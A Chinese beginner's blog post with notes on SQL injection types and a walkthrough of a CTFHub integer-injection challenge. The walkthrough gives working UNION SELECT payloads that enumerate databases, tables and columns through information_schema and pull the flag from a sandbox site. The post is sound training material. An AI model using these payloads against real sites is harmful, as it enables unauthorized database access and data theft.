10.11 CTFHub SQL注入

小菜鸡真的是一点都不懂这个…归纳整理了相关的资料如下

SQL 简介

SQL 是用于访问和处理数据库的标准的计算机语言。

SQL 是什么?

  1. SQL,指结构化查询语言,全称是 Structured Query Language。
  2. SQL 让您可以访问和处理数据库。
  3. SQL是一种 ANSI(American National Standards Institute 美国国家标准化组织)标准的计算机语言。

SQL 能做什么?

SQL 面向数据库执行查询
SQL 可从数据库取回数据
SQL 可在数据库中插入新的记录
SQL 可更新数据库中的数据
SQL 可从数据库删除记录
SQL 可创建新数据库
SQL 可在数据库中创建新表
SQL 可在数据库中创建存储过程
SQL 可在数据库中创建视图
SQL 可以设置表、存储过程和视图的权限

什么是SQL注入

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。

SQL注入的常见思路

1:寻找到SQL注入的位置

2:判断服务器类型和后台数据库类型

3:针对不同的服务器和数据库特点进行SQL注入攻击

注入方法

由于编写程序时未对用户输入数据的合理性进行判断,导致攻击者能在SQL
Injection的注入点中夹杂代码进行执行,并通过页面返回的提示,获取进行下一步攻击所需的信息。根据输入的参数,可将SQL注入方式大致分为两类:数字型注入、字符型注入。
1、数字型注入
当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8
and
1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。
2、字符型注入
当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。

攻击手法 1、基于布尔的盲注 因为web的页面返回值都是True或者False,所以布尔盲注就是注入后根据页面返回值来得到数据库信息的一种办法。

2、基于时间的盲注
当布尔型注入没有结果(页面显示正常)的时候,我们很难判断注入的代码是否被执行,也可以说到底这个注入点存不存在?这个时候布尔型注入就无法发挥自己的作用了。基于时间的盲注便应运而生,所谓基于时间的盲注,就是我们根据web页面相应的时间差来判断该页面是否存在SQL注入点。
3、联合查询注入
使用联合查询进行注入的前提是我们要进行注入的页面必须有显示位。所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,所以两个及以上的select必须有相同列、且各列的数据类型也都相同。联合查询注入可在链接最后添加order
by 9基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。 4、基于错误信息的注入
此方法是在页面没有显示位,但是echo
mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo
mysql_error();输出了错误信息时使用。

三种SQL数据库注入详解
  1. 数字型注入
    当输入的参数为整型时,则有可能存在数字型注入漏洞。

假设存在一条 URL 为:HTTP://www.aaa.com/test.php?id=1
可以对后台的 SQL 语句猜测为:
SELECT * FROM table WHERE id=1

判断数字型漏洞的 SQL 注入点:
① 先在输入框中输入一个单引号 ’
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE id=1’,
不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。

② 在输入框中输入 and 1 = 1
SQL语句变为:
SELECT * FROM table WHERE id=1 and 1 = 1
语句正确,执行正常,返回的数据与原始请求无任何差异。

③ 在数据库中输入 and 1 = 2
SQL 语句变为:
SELECT * FROM table WHERE id=1 and 1 = 2
虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为永假,所以返回数据与原始请求有差异。

如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。
2. 字符型注入
当输入参数为字符串时,则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。

字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码。

假设后台的 SQL 语句如下:
SELECT * FROM table WHERE username = ‘admin’

判断字符型漏洞的 SQL 注入点:
① 还是先输入单引号 admin’ 来测试
这样的 SQL 语句就会变为:
SELECT * FROM table WHERE username = ‘admin’’。
页面异常。

② 输入:admin’ and 1 = 1 –
注意:在 admin 后有一个单引号 ',用于字符串闭合,最后还有一个注释符 --(两条杠后面还有一个空格!!!)。
SQL 语句变为:
SELECT * FROM table WHERE username = ‘admin’ and 1 = 1 –
页面显示正确。

③ 输入:admin’ and 1 = 2 –
SQL 语句变为:
SELECT * FROM table WHERE username = ‘admin’ and 1 = 2 –
页面错误。

满足上面三个步骤则有可能存在字符型 SQL 注入。

  1. 其他类型
    其实我觉得 SQL 注入只有两种类型:数字型与字符型。很多人可能会说还有如:Cookie 注入、POST 注入、延时注入等。
    的确如此,但这些类型的注入归根结底也是数字型和字符型注入的不同展现形式或者注入的位置不同罢了。

以下是一些常见的注入叫法:

POST注入:注入字段在 POST 数据中
Cookie注入:注入字段在 Cookie 数据中
延时注入:使用数据库延时特性注入
搜索注入:注入处为搜索的地方
base64注入:注入字符串需要经过 base64 加密

有一个大佬写的详解写的很好https://www.jb51.net/article/29444.htm
以上为相关的知识,了解了之后回头看这道题

(1)判断是否存在注入

1)加单引号

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1’

对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

2)加and 1=1

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=1

对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;

3)加and 1=2

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=2

对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

如果满足以上三点,则可以判断该URL存在数字型注入。

(2)查询字段数量

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 order by 2

当id=1 order by 2时,页面返回与id=1相同的结果;而id=1 order by 3时不一样,故字段数量是2。

(3)查询SQL语句插入位置

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,2

此时要先保证之前的数据查不出来,之后再union。id=-1数据不存在数据库中。可以看到位置2可以插入SQL语句。

(4)获取数据库库名

1)获取当前数据库库名

2位置修改为:database(),version()

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,database()

得到数据库名称为:sqli,由数据库版本可知他是MySQL的一个分支

2)获取所有数据库库名

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,group_concat(schema_name)from information_schema.schemata

3)逐条获取数据库库名

语句:select schema_name from information_schema.schemata limit 0,1;

修改limit中第一个数字获取其他的数据库名,如获取第二个库名:limit 1,1。

(5)获取数据库表名

1)方法一:一次获取一个表名

2位置修改:select table_name from information_schema.tables where table_schema=‘sqli’ limit 0,1;

得到数据库表名:news。修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。

2)方法二:一次性获取当前数据库所有表名:

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’

得到数据库sqli中的表名为news和flag

(6)获取字段名

1)方法一:

以flag表为例,2位置修改为:

select column_name from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ limit 0,1;

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,(select column_name from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ limit 0,1)

看到flag表中第一个字段是flag, 修改limit中第一个数字,如获取第二个字段名:limit 1,1,依次类推,发现flag表中的字段名称只有一个flag。

2)方法二:

以flag表为例,一次性获取所有字段名:

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’

(7)获取数据

1)方法一:

以emails表为例,2位置修改为:

(select flag from sqli.flag limit 0,1)

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,(select flag from sqli.flag limit 0,1)

可以得到flag表中的第一条数据,修改limit中第一个数字,如获取第二个字段值

2)方法二:

以flag表为例,一次性获取所有数据:

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,group_concat(flag) from sqli.flag

做完了整数型注入和字符型注入。。。看网上的教程照着做都头晕目眩的。。。还得先了解SQL数据库的语句类型啊。。。本文持续更新,个人记录做题进程用。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值